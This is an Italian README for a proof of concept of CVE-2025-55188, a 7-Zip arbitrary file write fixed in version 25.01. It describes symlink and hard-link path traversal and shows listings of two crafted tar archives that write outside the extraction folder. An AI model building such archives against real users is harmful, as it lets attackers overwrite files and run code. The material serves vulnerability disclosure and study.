
Prova di concetto di CVE-2025-55188: scrittura arbitraria di file in 7-Zip
Proof-of-concept di CVE-2025-55188, una scrittura arbitraria di file in 7-Zip. Corretto nella versione 25.01, rilasciata il 3 agosto 2025.
Nota: CVE-2025-55188 è diverso da CVE-2025-11001.
La versione in cui è stato corretto CVE-2025-11001 (versione 25.00) è ancora vulnerabile all'esecuzione arbitraria di codice tramite attacchi con collegamenti simbolici a causa di CVE-2025-55188.
CVE-2025-55188 è stato scoperto e pubblicato prima della pubblicazione di CVE-2025-11001.
Vedi https://lunbun.dev/blog/cve-2025-55188/ per una spiegazione più dettagliata e un'analisi tecnica.
La vulnerabilità è piuttosto semplice.
Il path traversal viene effettuato tramite link simbolici per scrivere file in modo arbitrario. Da lì, la scrittura arbitraria di file può essere elevata a esecuzione arbitraria di codice scrivendo su file critici.
Il path traversal tramite link simbolici è possibile grazie a un caso limite nei controlli di sicurezza dei link simbolici. Ho trovato due modi per farlo. Vedi il post del blog per maggiori dettagli.
Il seguente file .tar scriverà su ../a/b/file.txt durante l'estrazione:
$ tar -tvf write.tar
lrw-r--r-- 0/0 0 1969-12-31 16:00 a/link -> ../a/b
hrwxr-xr-x 0/0 0 1969-12-31 16:00 link link to a/link
-rw-r--r-- 0/0 44 1969-12-31 16:00 link/file.txt
poc_hardlink contiene del codice che utilizza il metodo degli hard link.
Il seguente file .tar scriverà su ../file.txt durante l'estrazione (solo su Linux):
$ tar -tvf write.tar
lrw-r--r-- 0/0 0 1969-12-31 16:00 a/b/link -> /a
lrw-r--r-- 0/0 0 1969-12-31 16:00 link -> a/b/link/../../
-rw-r--r-- 0/0 44 1969-12-31 16:00 link/file.txt
poc_extraction_root contiene del codice che utilizza il metodo della root di estrazione.